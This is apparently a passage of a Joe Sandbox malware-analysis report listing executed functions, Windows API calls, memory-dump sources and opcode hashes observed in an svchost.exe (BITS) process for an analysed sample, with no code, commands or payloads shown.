Show Windows behavior

Target ID:	19
Start time:	12:27:17
Start date:	03/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	25%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BAA4CF1 Relevance: 1.6, APIs: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFD9BAA4DC2

Memory Dump Source

Source File: 00000000.00000002.1788249328.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_lEwK4xROgV.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6083c7341eb71e1cf6e67d04724f3489943fa7c0db9846cae2cee2ea04f2562c
Instruction ID: 05612c49d91724e18997f3325eb97532a490fbe20b04d4097c7387a2e40398d7
Opcode Fuzzy Hash: 6083c7341eb71e1cf6e67d04724f3489943fa7c0db9846cae2cee2ea04f2562c
Instruction Fuzzy Hash: 69414C70908A4C8FEB98DF98D899BEDBBF1FB59310F10416ED00DD7262DA74A845CB40

Function 00007FFD9C222881 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800442789.00007FFD9C220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9c220000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d746727876da22eb3b59bca7fccd5de9df1e89bd8b944e9762450abeac077f5
Instruction ID: ecf9d6a92c0ad53007ad62f5a24b07631f23ef06a61c06d8c62c262c59d47a45
Opcode Fuzzy Hash: 2d746727876da22eb3b59bca7fccd5de9df1e89bd8b944e9762450abeac077f5
Instruction Fuzzy Hash: 92814770E0865D8FDB68EFA8C8A57EDB7B1FF58310F50417AD009E3296CA356981CB41

Function 00007FFD9BAA15C1 Relevance: 1.8, APIs: 1, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileTransactedW.KERNEL32 ref: 00007FFD9BAA17A2

Memory Dump Source

Source File: 00000000.00000002.1788249328.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_lEwK4xROgV.jbxd

Similarity

API ID: CreateFileTransacted
String ID:
API String ID: 2149338676-0
Opcode ID: 8b959d50690572743857419a676ce794d6ce9b2ba8aaf596ef2b3d3961b547ff
Instruction ID: 6c9abcef62008517150912494a2ef002f2b89698054b2a7f5c7ecd189348a43f
Opcode Fuzzy Hash: 8b959d50690572743857419a676ce794d6ce9b2ba8aaf596ef2b3d3961b547ff
Instruction Fuzzy Hash: 1B81D070A08A1C8FDB98EF58C894BE9BBF1FB69311F1051AED04DE3251DB71A980CB44

Function 00007FFD9BAA1A1D Relevance: 1.7, APIs: 1, Instructions: 207
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FFD9BAA1B89

Memory Dump Source

Source File: 00000000.00000002.1788249328.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_lEwK4xROgV.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 0d25b828d092940199ab43504ab1f57f700cce018a9031c2f1e19a2c19e9866e
Instruction ID: 2bb0fb32b671a94c9607b006623984364c5b48d240a074a14b026d2505376a75
Opcode Fuzzy Hash: 0d25b828d092940199ab43504ab1f57f700cce018a9031c2f1e19a2c19e9866e
Instruction Fuzzy Hash: BA61F270A08A1C8FDB98DF58D895BE9BBF1FB69311F1041AED04DE3291DA74A985CB40

Function 00007FFD9BF13D4F Relevance: 1.7, Strings: 1, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^H, xrefs: 00007FFD9BF13E62

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID: ^H
API String ID: 0-831983039
Opcode ID: 2971f66d907e76ad1f5d23f5eb3b6a7fc929b8f9e3ed572a2812048d116e5666
Instruction ID: d8a0894bfc4dc8aeddf556a5d3a7320ed8cc4745c42404f42dc4174b8f4e5f89
Opcode Fuzzy Hash: 2971f66d907e76ad1f5d23f5eb3b6a7fc929b8f9e3ed572a2812048d116e5666
Instruction Fuzzy Hash: 74F1E030A1954A8FEB59CF58C0E16B437B1FF85300F515ABDC84ACB29ACA39E981CB40

Function 00007FFD9BF13D6F Relevance: 1.6, Strings: 1, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^H, xrefs: 00007FFD9BF13E62

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID: ^H
API String ID: 0-831983039
Opcode ID: 7bc556c8c87c2e77e72461307e3d161838714ccf02d7943d119de2fb01d63243
Instruction ID: 472641abb11e9be685811eaae7660e2f93eaf0891b96f201d5540cad132cb4b5
Opcode Fuzzy Hash: 7bc556c8c87c2e77e72461307e3d161838714ccf02d7943d119de2fb01d63243
Instruction Fuzzy Hash: BEC1C13061954A8BEB1DCF58C0F15B137B1FF86310B655ABDC84A8B69FDA39E981CB40

Function 00007FFD9BAA5E4D Relevance: 1.4, APIs: 1, Instructions: 184
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BAA5F69

Memory Dump Source

Source File: 00000000.00000002.1788249328.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9baa0000_lEwK4xROgV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fee76261feca37f688dbc8639a7c6f30e021ea541083a3acede05d968cb6a7cd
Instruction ID: b425a8e59f3c5ec5fb6bbdf95dbc2e077c9dbc5cf3197a687a4878d8a1d1d760
Opcode Fuzzy Hash: fee76261feca37f688dbc8639a7c6f30e021ea541083a3acede05d968cb6a7cd
Instruction Fuzzy Hash: BF510870908A1C8FDF98DF58C895BE9BBF1FB69310F1041AAD44DE3251DB70A985CB41

Function 00007FFD9BF1F358 Relevance: 1.4, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BF1F3D2

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 330ca734b5d3689190a7d1cbb516e87b0dcd46ad807772a4fa9ee9ab8629568e
Instruction ID: b37e50611eea5278e20e4b72a368166d3c070f2d2366b4a554aa1017c3d3fb32
Opcode Fuzzy Hash: 330ca734b5d3689190a7d1cbb516e87b0dcd46ad807772a4fa9ee9ab8629568e
Instruction Fuzzy Hash: 82517E31E0954E8FDB59DFA8C4655FDB7B1FF58300F1145BAC01AE72A2DA3A6A01CB50

Function 00007FFD9BF19718 Relevance: 1.4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BF19792

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ddb17c3c5252bd9f8e5e6d374c426e69c24de640164a3665f29c0c721be98d3d
Instruction ID: e7a535faa34f7a7e42e7cc04d2312815c8df15970f51e99cab87d16f6729ac3d
Opcode Fuzzy Hash: ddb17c3c5252bd9f8e5e6d374c426e69c24de640164a3665f29c0c721be98d3d
Instruction Fuzzy Hash: 79515C71E0954E8FDB59CF98C4645BCB7B1FF44300F5586BAC01AE72A2DA352A02CB90

Function 00007FFD9BF13AEB Relevance: 1.4, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9BF13B52

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 2cea4750f0f445046890dafc73dea97537eb2831e5f6e200e7ec31eb416be136
Instruction ID: d4b6a8b8b8aac5cab7083131c6534b54435a54e48d44cb70d755cbf6b0deac9e
Opcode Fuzzy Hash: 2cea4750f0f445046890dafc73dea97537eb2831e5f6e200e7ec31eb416be136
Instruction Fuzzy Hash: 2D518E70E0A64E9FDB59DF98C4605BDB7B1FF55300F1145BEC01AE72A6DA352A09CB40

Function 00007FFD9BF1CD22 Relevance: 1.3, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X^H, xrefs: 00007FFD9BF1CD5D

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID: X^H
API String ID: 0-791933376
Opcode ID: 0142ce56e2042c2e3bfe7ed5469dc5fb817ab48b80d3dd16d6139a3154ecfa80
Instruction ID: a28df54dd63d2fb2fdbec7cd01dd8ac24f19c7ec26ff32aebb8d108fadc0b471
Opcode Fuzzy Hash: 0142ce56e2042c2e3bfe7ed5469dc5fb817ab48b80d3dd16d6139a3154ecfa80
Instruction Fuzzy Hash: 6821F771E1591D9FDFACDF58C4A5AACB7B1FF68300F0001AAD05EE76A1CA35A941CB40

Function 00007FFD9B8B7BFC Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9B8B7C5E

Memory Dump Source

Source File: 00000000.00000002.1785453392.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 686ad4075f13995a39ee99df8d50d354322636fc4c76bc9aa590da71175be026
Instruction ID: 9a4f5d355c720c6c8c2c06faff901075646f2ec45193b5b96942fb4f59b61500
Opcode Fuzzy Hash: 686ad4075f13995a39ee99df8d50d354322636fc4c76bc9aa590da71175be026
Instruction Fuzzy Hash: 3D11FA74E1562DCAEBB0DB69C8587E8B3B0FB48316F1042E5C00DD76A0DB786AC48F41

Function 00007FFD9BF176A0 Relevance: .7, Instructions: 687COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1093949276b1d8f0bfdf92c29aed0f7662951f45bad8f363b5a8cc6b57e6597
Instruction ID: 4cd3c6c42d483b1121ee0cd4a5b243f099cdde16e433c9b02ce9a89143b573b3
Opcode Fuzzy Hash: d1093949276b1d8f0bfdf92c29aed0f7662951f45bad8f363b5a8cc6b57e6597
Instruction Fuzzy Hash: CD32B470B09A0D8FDBA8DF48C865AB9B3F1FF54310B5156B9D00EC72A2DE25AD45CB40

Function 00007FFD9BF1F5A9 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0560217c36926086f764d26e608884d40c5a7675db7137eee93f6bde7cd48865
Instruction ID: 08e683fe296fb5fa6543494ca8fdc77a9da7d2e0bee51f6d2b903b128e87a37b
Opcode Fuzzy Hash: 0560217c36926086f764d26e608884d40c5a7675db7137eee93f6bde7cd48865
Instruction Fuzzy Hash: 96F1E130A1954A8FEB68DF58C4E06B577B1FF44310B5156FDC84ACB29ADA39F982CB40

Function 00007FFD9BF14D91 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3978fd94d4afa42dda5246e4a96c8b44692ac5155488b714c0cf0dabc5b5a3de
Instruction ID: 81470fe0008800713e7ec4b936ccf35197fb99bef5ac3528b2bdcdc6b7b9621b
Opcode Fuzzy Hash: 3978fd94d4afa42dda5246e4a96c8b44692ac5155488b714c0cf0dabc5b5a3de
Instruction Fuzzy Hash: D3D10730B0EA4A4FD379CFA8C4A057577F1FF85300B115A7EC04AC76A6DE2AB9468B40

Function 00007FFD9BF1C795 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da324599e0363b8bc6fae54afdb30a06c355f6fcaebebca9b8bf6527e5da9f2
Instruction ID: b3ae30084bd46af0c49aff0fc740a5970326ff7f15fc63c2f7ce5f1ce7683b81
Opcode Fuzzy Hash: 1da324599e0363b8bc6fae54afdb30a06c355f6fcaebebca9b8bf6527e5da9f2
Instruction Fuzzy Hash: 83411412F0E16B86E23ABAE839B15F89320CF00374F191777D05D8E0E7DC0E264256D1

Function 00007FFD9BF1998F Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a89ec50fb4cfcf2744d3209e10d3d17861c693f08798492aeb2e5b35c2f28a
Instruction ID: f55946b38b1b214e719d6b4301591141c0ad92b7145585646573b1805e419a8b
Opcode Fuzzy Hash: 08a89ec50fb4cfcf2744d3209e10d3d17861c693f08798492aeb2e5b35c2f28a
Instruction Fuzzy Hash: 25D1D43061955A8FEB5DCF54C0E45B03BB1FF85310B5596BDC88B8B69AC639F982CB80

Function 00007FFD9BF199AF Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a6ed4fd9244a37eaf29e58cf8164889e5c2e125aa5f2a65085b699a4e77140
Instruction ID: 85233118ea3b214fed26b3506dabc0d43bb9276de603abacd4ea158409af25cd
Opcode Fuzzy Hash: 05a6ed4fd9244a37eaf29e58cf8164889e5c2e125aa5f2a65085b699a4e77140
Instruction Fuzzy Hash: 32C1E33061A54A8BEB1DCF54C0E45B077B1FF85310B559ABDC88B8B69BCA39F542CB81

Function 00007FFD9BF1F5EF Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7377266377f7c401dcd47b8653fea408fdc1a9226142606a3b2ee84a2e3f9d
Instruction ID: 619d02d1719d938053501594fb1915daa164c98c30a98c6d5bf49a39a95642b2
Opcode Fuzzy Hash: 0a7377266377f7c401dcd47b8653fea408fdc1a9226142606a3b2ee84a2e3f9d
Instruction Fuzzy Hash: 78C1CD30A1A54A8BEB2CCF54C4A05B137B1FF45314B555ABDC84B8B69BDA39F982CB40

Function 00007FFD9BF13602 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07948bcafb1156b3ba6f833141741db95863bd5b259078530619f4118782b5cf
Instruction ID: b6fac0f29e9a0b1530f8487ec3ac3389e41ec42e12b4d1c51e48ec62dc8707be
Opcode Fuzzy Hash: 07948bcafb1156b3ba6f833141741db95863bd5b259078530619f4118782b5cf
Instruction Fuzzy Hash: 9EC11430B0DA4A9FE758DF68C0A06A4B7B1FF48310F45567DC04EC7A96CB29B955CB90

Function 00007FFD9BF19242 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47cde33fc9f6b05d816b1a068b806c77aba33759e2fbce0e901340674968888e
Instruction ID: 94d5275c04ba997340f8431f027cc6c821007429d9facded094164046a638f7f
Opcode Fuzzy Hash: 47cde33fc9f6b05d816b1a068b806c77aba33759e2fbce0e901340674968888e
Instruction Fuzzy Hash: ABC1C330B09A4A8FE759DF68C0A46A4B7F1FF48300F459679D04EC7A96DB29B952C7C0

Function 00007FFD9BF1EE82 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef73ef8236a18f68f59144fde1e55554f20875a9ac98554a0257449b5a9d4f81
Instruction ID: fa6841344eeb5a348ec7a49cdc6bd8436315fc3c9cd64a2fec79fb0d8d62579d
Opcode Fuzzy Hash: ef73ef8236a18f68f59144fde1e55554f20875a9ac98554a0257449b5a9d4f81
Instruction Fuzzy Hash: 9BB1D430B09A4A8FE759DF68C0A06B4B7B1FF58300F455AB9D04EC7A96DB39B951C780

Function 00007FFD9BF10FD5 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d11cc1ed5be84a6d242dd4041b677be896b36803ad666fd9e6f7da1a61635cf
Instruction ID: d6c67659a9d08a2dcda0f32ced83d3ffe4b4557ee28a2fea8ce29e100dc37f48
Opcode Fuzzy Hash: 0d11cc1ed5be84a6d242dd4041b677be896b36803ad666fd9e6f7da1a61635cf
Instruction Fuzzy Hash: 9B21F402F0F5EB86F67869E828360FC56609F45360F1A1BB7C44DC64E6EC0E2B415692

Function 00007FFD9BF10FF7 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8576e65a94bfc0cf4cf1354d14578b2ece7057eb21e1f76a4a14d961ac52b3fd
Instruction ID: b6cae8f0442240cbc4b1e4372550d2c20d3bcccd17ee887a76e6777652acf15c
Opcode Fuzzy Hash: 8576e65a94bfc0cf4cf1354d14578b2ece7057eb21e1f76a4a14d961ac52b3fd
Instruction Fuzzy Hash: 4621F942F0F5DB8AF67969E824360F856609F11360F1A1BBBC44DC64E6DC0E2B415792

Function 00007FFD9BF1C837 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486b9f8de9f961442ba0456787e99875e55358680cd434c1551dbb0ab506a0a5
Instruction ID: ad47f974b3d57325d57e7035f18430e60191396a53e8e3d2437d92166f5fcfc3
Opcode Fuzzy Hash: 486b9f8de9f961442ba0456787e99875e55358680cd434c1551dbb0ab506a0a5
Instruction Fuzzy Hash: 6121AC52F0F59B99F3369AE924F51F897705F11221F1A6BB7C05D8E0E3DC0E26455382

Function 00007FFD9C22322F Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800442789.00007FFD9C220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9c220000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1b9e710213cde7b9bd5aabaf1148839b8f3db7f44b622d81413a13807e1720
Instruction ID: 777fb8cf1dc949c18aa4a2d90fe62c7144d3f2f896ae95f79f11197ae9134e29
Opcode Fuzzy Hash: 3e1b9e710213cde7b9bd5aabaf1148839b8f3db7f44b622d81413a13807e1720
Instruction Fuzzy Hash: 8E21B23190865ACFEB55EF6898246F93BB4FF25361F5405B6D40CC7292DA349944C780

Function 00007FFD9B8B0D7F Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785453392.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bfd9bcf081e50b96e8411f6b9473dc617060e3b00c8ba0c5973a0da3f516d8
Instruction ID: 3d61642b0cd83941da7e43cf680044754aba4e2ebd13f8179ba2480b32b6de5e
Opcode Fuzzy Hash: 54bfd9bcf081e50b96e8411f6b9473dc617060e3b00c8ba0c5973a0da3f516d8
Instruction Fuzzy Hash: F4A1C271A18A4D8FEB98DBA8D8797A97BE1FF59300F40017ED009D72EADB781941CB41

Function 00007FFD9BF1E3A6 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a6ff11e9b4ca247e87edb9b8a3170fa261835beb6abb5453ce8aada98973706
Instruction ID: d104c668086895b86ca6a562537dbb4cf588daa17ea3abbd4eab951828478b48
Opcode Fuzzy Hash: 6a6ff11e9b4ca247e87edb9b8a3170fa261835beb6abb5453ce8aada98973706
Instruction Fuzzy Hash: 27813C30B0EA4A4FE3789F6894655757BF0EF45350F151A7ED08FC31A6EE2A79028742

Function 00007FFD9BF12B46 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22706c02e13b5661e7e9e1d02b7f11755b6486c046e4817704ba792ecc21a9dc
Instruction ID: 651f1cb6987203f28991a1369c2bae583b487518f439a8e2170eab086a59ed70
Opcode Fuzzy Hash: 22706c02e13b5661e7e9e1d02b7f11755b6486c046e4817704ba792ecc21a9dc
Instruction Fuzzy Hash: 30815B31B0EA4A4FEB7C8EE894614B577F0FF45358B121A7ED08EC31A2DE1A79028741

Function 00007FFD9BF18794 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513247dfea8e325ccd73af0bdb172a62bd56af882552c4732fad23ee00913159
Instruction ID: e21f8923619aeebf60b3529b68835f218a4c9a2584014a7e6e4127a3c02c3531
Opcode Fuzzy Hash: 513247dfea8e325ccd73af0bdb172a62bd56af882552c4732fad23ee00913159
Instruction Fuzzy Hash: 73716D31B1EA4A4FE3389E98956007977F1FF45764B151B7ED08FC31A2DE2AB5028742

Function 00007FFD9B8B0928 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785453392.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd31123d6842a07b3873416de92ae1b140140901a108df8a5b0b4c1c620c4d7
Instruction ID: d70d0e8aac3e066da7349fbad16ec7715efc67f7d9e388ae0bbc89fe2d89d498
Opcode Fuzzy Hash: 7fd31123d6842a07b3873416de92ae1b140140901a108df8a5b0b4c1c620c4d7
Instruction Fuzzy Hash: 3EA11B74E08A1D8FEBA4EF98C8A5AADB7B1FF58304F504579D01DD3299DB34A981CB40

Function 00007FFD9BF10CA9 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40b116710b6741d3d6deff953104c9d38ffc491f98b1158acbfe1a6ba99457c6
Instruction ID: 737a988cbe470b2007e3efd2935d95bc66d95ee24377f787727ab15a6c9a31d8
Opcode Fuzzy Hash: 40b116710b6741d3d6deff953104c9d38ffc491f98b1158acbfe1a6ba99457c6
Instruction Fuzzy Hash: CC716B32B0E44D4FE778DE7888265B437E0EF44710B061BB9D09EC75B2DE29BA168381

Function 00007FFD9BF16BB9 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797172228.00007FFD9BF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bf10000_lEwK4xROgV.jbxd

Similarity

API ID:
String ID:
API String ID:
